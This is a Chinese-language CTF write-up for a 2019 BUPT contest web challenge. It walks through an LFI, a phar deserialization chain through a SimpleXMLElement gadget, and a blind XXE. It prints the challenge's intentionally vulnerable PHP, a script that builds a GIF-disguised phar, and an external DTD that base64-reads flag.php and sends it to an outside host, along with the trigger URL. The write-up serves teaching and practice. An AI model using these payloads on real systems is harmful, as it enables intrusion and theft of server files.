2019北邮网安杯官方解题报告——Web2


Web2 - annoying class

tags: bupt, write-up

Information

Name: Annoying Class

Desc: 这都什么鬼名字!

Flag: BUPT{No_Fl4g_ln_pHp_b0t_XX3_d0.}

Tips: 忘了

链接:web2

TL; DR

这个题, 主要是对phar反序列化的一个考察, 最近很多的CTF都用到了这个考点, 但是在比赛时候看流量竟然发现没有一个人想到.

Step One

首先, 看网站功能, 一共有两个, 一个查看图片, 一个上传图片.

在上传图片的地方过滤的比较死, 只能上传png, gif, jpg, jpeg几种类型的文件.

查看图片在查看源代码时, 发现图片是用base64直接写到网页上的, 怀疑存在LFI

Step Two

通过第一部的分析, 我们可以尝试利用这个LFI, 直接将要下载的文件名换成do.php, 将其中的base64编码的部分解码之后即可看到网页的源代码了.

do.php

  <?php
   error_reporting(0);
   require_once "class.php";
   // require_once "flag.php";
   header("content-type:text/html;charset=utf-8");
   ini_set('open_basedir','/var/www/html/:/tmp');

   $ll1lIl = $_GET["module"];
   $lI1111 = $_GET["args"];

   if (empty($ll1lIl)) {
       $lI1I11='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"];
       header('Location: '.dirname($lI1I11)."/index.html");
  } else {
       $Il11II = new o0Ooo0oO($ll1lIl, $lI1111);
  }
?>

根据代码的内容, 尝试读取class.php

class.php

  <?php

class oOO0000O {
   private $ll1lIl;
   public function __construct($ll1lIl) {
       $this->ll1lIl = $ll1lIl;
  }

   private function lI1111() {
       if(preg_match("/file|\.\.|flag/i", $this->ll1lIl)) {
           return false;
      }
       if(!file_exists($this->ll1lIl)){
           return false;
      }
       return true;
  }

   public function __destruct() {
       if(!$this->lI1111()) {
           die('I\'m not stupid!');
      }
       
       echo "<img src=\"data:".mime_content_type($this->ll1lIl).";charset=utf-8;base64,";
       echo base64_encode(file_get_contents($this->ll1lIl));
       echo "\" \\>";
  }
}

class OOOo0Oo0 {
   private $ll1lIl;
   private $lI1111;
   private $lI1I11;

   public function __construct() {
       $this->ll1lIl = $_FILES["file"]["name"];
       $this->lI1I11 = file_get_contents($_FILES["file"]["tmp_name"]);
  }

   private function IlII1l() {
       $IllI1I = array('jpg', 'png', 'gif', 'jpeg');
       $Il11ll = explode(".", $this->ll1lIl);
       $this->lI1111 = end($Il11ll);
       if (!in_array($this->lI1111, $IllI1I)) {
           return false;
      }
       $this->ll1lIl = sha1(random_bytes(40));
       return true;
  }

   public function __destruct() {
       if( !$this->IlII1l() ) {
           die("I'm not a stupid person!");
      }

       if (file_exists("upload/".$this->ll1lIl.'.'.$this->lI1111)) {
           unlink("upload/".$this->ll1lIl.'.'.$this->lI1111);
      }

       file_put_contents("upload/".$this->ll1lIl.'.'.$this->lI1111, $this->lI1I11);
       die("I have done everything for you, checkout " . $this->ll1lIl);
  }
}

class o0Ooo0oO {
   private $ll1lIl;
   private $lI1111;

   public function __construct($ll1lIl, $lI1111) {
       $this->ll1lIl = $ll1lIl;
       $this->lI1111 = $lI1111;
       if (!$this->lI1I11()) {
           die('Can not do that for you!');
      }
  }

   private function lI1I11() {
       if(in_array($this->ll1lIl, array('oOO0000O', 'OOOo0Oo0'))) {
           return true;
      }
       $this->ll1lIl="";
       $this->lI1111=array('');
       return false;
  }

   public function __call($ll1lIl, $lI1111) {
       $class = new ReflectionClass($ll1lIl);
   $a=$class->newInstanceArgs($lI1111[0]?$lI1111[0]:array());
  }

   public function __destruct() {
       if($this->ll1lIl !== '') {
           $this->{$this->ll1lIl}($this->lI1111);
      }
  }
}

在尝试读取flag.php的时候, 被拦截, 怀疑存在过滤.

Step Three

在阅读代码的时候, 我们发现上传图片的功能对flag四个字符进行了过滤, 所以直接读取是不可能的, 那么我们就要寻找其他的漏洞点.

由于大家都是WEB选手, 我原本认为大家都会了解最近比赛的套路, 事实证明我想多了.

这里可以看到在读取图片的时候, 使用了file_get_contentsfile_exists函数, 这两个函数都可以触发phar反序列化漏洞.

网上有很多的参考文章

  1. 利用 phar 拓展 php 反序列化漏洞攻击面

  2. 【鹏城杯】(WEB 450)Yii Framework

  3. LCTF 2018 Writeup -- Nu1L 里面 Show me the shell 两个题

  4. 护网杯2018 easy_laravel writeup与记录

还有很多就不举例了

根据题目中给出的代码, 阅读下来发现class oOO0000Oclass OOOo0Oo0中都在__destruct()函数中调用的验证函数, 而class o0Ooo0oO中却是在__construct中调用的验证函数, 这就给了我们一个利用的点(在反序列化的时候不会再去调用__construct, 从而绕过了验证)

Step Four

那么分析一下这个 class o0Ooo0oO都具体干了什么吧

__construct中, 分别对两个属性赋值, 在__destruct中, 使用$ll1lIl作为函数名, $lI1111作为参数名进行了函数调用, 而程序中肯定没有这个函数, 那么就只能调用到__call($ll1lIl, $lI1111)这个方法中了(具体__开头的是什么作用请百度php 魔法函数), 这个方法, 创建了一个名为$ll1lIl的对象, 并且用$lI1111作为其参数名实例化了一个对象.

在题目所给出的几个类里面, 并没有什么合适的利用链, 就需要我们去寻找php内的原生类了, 而题目的要求显然是让我们去读取flag.php的内容

反序列化之原生类的使用

那么很显然, 我们就只有通过SimpleXMLElement进行XXE了

Step Five

Blind XXE关于XXE攻击的相关资料网上有很多, 列举几个就不详细介绍了

  1. 未知攻焉知防——XXE漏洞攻防

  2. 浅谈XXE漏洞攻击与防御

  3. XXE漏洞利用技巧:从XML到远程代码执行

  4. XXE漏洞以及Blind XXE总结

Solution

Step One

编写反序列化payload

  <?php
class o0Ooo0oO {
   private $ll1lIl;
   private $lI1111;

   public function __construct($ll1lIl, $lI1111) {
       $this->ll1lIl = $ll1lIl;
       $this->lI1111 = $lI1111;
  }
}

$exp = new o0Ooo0oO('SimpleXMLElement', array('https://d7cb7b72.w1n.pw/obj.xml', 2, true));

echo serialize($exp);

$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
// 增加gif文件头
$phar->setMetadata($exp);
$phar->addFromString("test.jpg","test");
$phar->stopBuffering();

rename("1.phar", "1.gif");
?>

程序运行后会产生一个1.gif, 上传这个文件

Step Two

XXE payload, 这个网上太多了, 随便找一个

  <?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "https://d7cb7b72.w1n.pw/eval.dtd">
%sp;
%param1;
%exfil;
]>
  <!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/flag.php">
<!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'https://d7cb7b72.w1n.pw/?%data;'>">

具体的功能反正就是读取flag.php, 然后传到我们的服务器上

Step Three

触发反序列化漏洞

既然知道了在file_get_contents以及file_exists里面会触发phar反序列化, 而且根据程序的代码, 我们也能知道我们上传的文件的位置, 那么直接触发.

http://58.87.73.74:8082/do.php?module=oOO0000O&args[]=phar:///var/www/html/upload/9f9c0793a76027ac7c6cfbea2142c774ee375ccf.gif/test.jpg

然后在我们的服务器上, 就能找到相应的log了

base64解码后, 即可看到flag.php的内容了

  <?php
// $flag = "BUPT{No_Fl4g_ln_pHp_b0t_XX3_d0.}";


by manazhou
最新回复 (0)
返回
发新帖